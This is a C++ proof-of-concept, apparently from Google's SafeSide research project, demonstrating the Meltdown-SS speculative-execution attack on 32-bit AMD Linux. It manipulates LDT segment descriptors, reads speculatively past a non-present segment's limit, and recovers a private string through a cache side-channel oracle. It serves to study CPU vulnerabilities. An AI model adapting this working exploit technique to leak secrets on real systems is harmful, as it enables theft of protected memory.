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/*
* Copyright 2019 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Demonstrates the Meltdown-SS. Speculative fetching of data from non-present
* segments and violating segment limits at the same time. Since segment limits
* are enforced only in 32-bit mode, this example does not work on x86_64.
* We initialize two segments - one points to public data, one points to
* private data. Then we use two segment pointers (FS and ES) and point them to
* those segments. Afterwards we make the segment pointing to private data
* non-present and limit its size to one character (which is dummy in the
* private data). Finally we speculatively read from the non-present segment
* beyond its size limits capturing the architectural failures with a SIGSEGV
* handler.
*
* Intel does not seem to be vulnerable to Meltdown-SS. Works only on AMD CPUs.
**/
#include "compiler_specifics.h"
#if !SAFESIDE_LINUX
# error Unsupported OS. Linux required.
#endif
#if !SAFESIDE_IA32
# error Unsupported architecture. 32-bit AMD required.
#endif
#include <array>
#include <cstring>
#include <iostream>
#include <asm/ldt.h>
#include <signal.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "cache_sidechannel.h"
#include "instr.h"
#include "local_content.h"
#include "meltdown_local_content.h"
#include "utils.h"
// Sets up a segment descriptor in the local descriptor table.
static void SetupSegment(int index, const char *base, bool present) {
// See: Intel SDM volume 3a "3.4.5 Segment Descriptors".
struct user_desc table_entry;
memset(&table_entry, 0, sizeof(struct user_desc));
table_entry.entry_number = index;
// We must shift the base address one byte below to bypass the minimal segment
// size which is one byte.
table_entry.base_addr = reinterpret_cast<unsigned int>(base - 1);
// No size limit for a present segment, one byte for a non-present segment.
// Limit is the offset of the last accessible byte, so even a value of zero
// creates a one-byte segment.
table_entry.limit = present ? 0xFFFFFFFF : 0;
// No 16-bit segment.
table_entry.seg_32bit = 1;
// No direction or conforming bits.
table_entry.contents = 0;
// Writeable segment.
table_entry.read_exec_only = 0;
// Limit is in bytes, not in pages.
table_entry.limit_in_pages = 0;
// True iff present is false.
table_entry.seg_not_present = !present;
int result = syscall(__NR_modify_ldt, 1, &table_entry,
sizeof(struct user_desc));
if (result != 0) {
std::cerr << "Segmentation setup failed." << std::endl;
exit(EXIT_FAILURE);
}
}
static char LeakByte(size_t offset) {
CacheSideChannel sidechannel;
const std::array<BigByte, 256> &oracle = sidechannel.GetOracle();
for (int run = 0;; ++run) {
size_t safe_offset = run % strlen(public_data);
sidechannel.FlushOracle();
// First we have to setup the private segment as present, because otherwise
// the write to ES would fail with SIGBUS on some Intel CPUs. We use index
// 1 because index 0 is occupied by the public data segment.
SetupSegment(1, private_data, true);
// Assigning FS to the segment that points to public data and ES to the
// segment that points to private data.
// PL = 3, local_table = 1 * 4, index = 0 * 8.
int fs_backup = ExchangeFS(3 + 4);
// PL = 3, local_table = 1 * 4, index = 1 * 8.
int es_backup = ExchangeES(3 + 4 + 8);
// Making the segment that points to private data non present - that means
// that each access to it architecturally fails. Just rewriting the
// descriptor on index 1 with a non-present one.
SetupSegment(1, private_data, false);
// Block all speculation and memory forwarding with CPUID. Otherwise we
// would get false positives on many Intel CPUs that allow speculation on
// ES and FS values.
MemoryAndSpeculationBarrier();
// Successful execution accesses safe_offset in the public data.
ForceRead(oracle.data() +
static_cast<size_t>(ReadUsingFS(safe_offset)));
// Accessing the private data architecturally fails with SIGSEGV.
ForceRead(oracle.data() +
static_cast<size_t>(ReadUsingES(offset)));
// Unreachable code.
std::cout << "Dead code. Must not be printed." << std::endl;
// The exit call must not be unconditional, otherwise clang would optimize
// out everything that follows it and the linking would fail.
if (strlen(public_data) != 0) {
exit(EXIT_FAILURE);
}
// SIGSEGV signal handler moves the instruction pointer to this label.
asm volatile("afterspeculation:");
// We must restore the segments - especially ES - because they are used in
// the C++ STL (e.g. ia32_strcpy function).
ExchangeFS(fs_backup);
ExchangeES(es_backup);
std::pair<bool, char> result =
sidechannel.RecomputeScores(public_data[safe_offset]);
if (result.first) {
return result.second;
}
if (run > 100000) {
std::cerr << "Does not converge " << result.second << std::endl;
exit(EXIT_FAILURE);
}
}
}
int main() {
OnSignalMoveRipToAfterspeculation(SIGSEGV);
// Setup the public data segment descriptor on index 0. It is always present.
SetupSegment(0, public_data, true);
std::cout << "Leaking the string: ";
std::cout.flush();
for (size_t i = 0; i < strlen(private_data); ++i) {
std::cout << LeakByte(i);
std::cout.flush();
}
std::cout << "\nDone!\n";
}